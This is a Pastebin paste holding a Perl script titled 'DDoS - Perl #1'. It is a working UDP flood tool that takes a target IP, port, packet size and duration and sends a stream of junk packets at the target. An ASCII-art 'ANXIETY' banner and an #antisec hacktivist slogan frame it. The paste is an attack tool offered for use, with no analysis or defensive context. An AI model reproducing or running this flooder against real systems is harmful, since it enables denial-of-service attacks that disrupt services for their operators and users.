Advertisement
cybercode

DDoS - Perl #1

Feb 20th, 2012
937
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.96 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. #########
  4. # >AnX< #
  5. #########
  6.  
  7. use Socket;
  8. use strict;
  9.  
  10. my ($ip,$port,$size,$time) = @ARGV;
  11.  
  12. my ($iaddr,$endtime,$psize,$pport);
  13.  
  14. $iaddr = inet_aton("$ip") or die "Invalid Command $ip\n";
  15. $endtime = time() + ($time ? $time : 200);
  16.  
  17. socket(flood, PF_INET, SOCK_DGRAM, 17);
  18.  
  19. print <<EOTEXT;
  20.  
  21.  
  22.  
  23.  
  24.           :::  
  25.        :+: :+:
  26.      +:+   +:+
  27.    +#++:++#++:
  28.   +#+     +#+  
  29.  #+#     #+#  
  30. ###     ###    
  31.  
  32.         ::::    :::
  33.        :+:+:   :+:  
  34.       :+:+:+  +:+  
  35.      +#+ +:+ +#+    
  36.     +#+  +#+#+#    
  37.    #+#   #+#+#      
  38.   ###    ####      
  39.  
  40.          :::    :::
  41.         :+:    :+:  
  42.         +:+  +:+    
  43.         +#++:+      
  44.       +#+  +#+      
  45.     #+#    #+#      
  46.    ###    ###      
  47.  
  48.           :::::::::::
  49.              :+:      
  50.             +:+      
  51.            +#+        
  52.           +#+        
  53.          #+#          
  54.     ###########      
  55.  
  56.            ::::::::::
  57.           :+:        
  58.          +:+          
  59.         +#++:++#      
  60.        +#+            
  61.       #+#            
  62.      ##########      
  63.  
  64.         :::::::::::
  65.            :+:      
  66.           +:+      
  67.          +#+        
  68.         +#+        
  69.        #+#          
  70.       ###          
  71.  
  72.           :::   :::
  73.          :+:   :+:  
  74.          +:+ +:+    
  75.          +#++:      
  76.          +#+        
  77.         #+#        
  78.        ###          
  79.  
  80.  
  81.  
  82.                                        
  83.                        .
  84.                       dM
  85.                       MMr
  86.                      4MMML                  .
  87.                      MMMMM.                xf
  88.      .              "M6MMM               .MM-
  89.       Mh..          +MM5MMM            .MMMM
  90.       .MMM.         .MMMMML.          MMMMMh
  91.        )MMMh.        MM5MMM         MMMMMMM
  92.         3MMMMx.     'MMM3MMf      xnMMMMMM"
  93.         '*MMMMM      MMMMMM.     nMMMMMMP"
  94.           *MMMMMx    "MMM5M\    .MMMMMMM=
  95.            *MMMMMh   "MMMMM"   JMMMMMMP
  96.              MMMMMM   GMMMM.  dMMMMMM            .
  97.               MMMMMM  "MMMM  .MMMMM(        .nnMP"
  98.    ..          *MMMMx  MMM"  dMMMM"    .nnMMMMM*
  99.     "MMn...     'MMMMr 'MM   MMM"   .nMMMMMMM*"
  100.      "4MMMMnn..   *MMM  MM  MMP"  .dMMMMMMM""
  101.        ^MMMMMMMMx.  *ML "M .M*  .MMMMMM**"
  102.           *PMMMMMMhn. *x > M  .MMMM**""
  103.              ""**MMMMhx/.h/ .=*"
  104.                       .3P"%....
  105.                     nP"     "*MMnx
  106.  
  107.  
  108.  
  109. > AyO iTz AnXi3Ty | RuNNiN MoDeMz YoU FeeL ? | #antisec <
  110.  
  111. EOTEXT
  112.  
  113. print "~UDP Flooding~ $ip " . ($port ? $port : "on random ports") . "
  114. Anxiety just dropped a connection with " .
  115.   ($size ? "$size-bytes" : "a random packetsize") . "
  116. MoFkN AnXi3Ty RunZ ThiZ" .
  117.   ($time ? " for $time seconds" : "") . "\n";
  118. print "To stop the attack type Ctrl-C\n" unless $time;
  119.  
  120. for (;time() <= $endtime;) {
  121.   $psize = $size ? $size : int(rand(1500000-64)+64) ;
  122.   $pport = $port ? $port : int(rand(65000))+1;
  123.  
  124.   send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport,
  125. $iaddr));}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement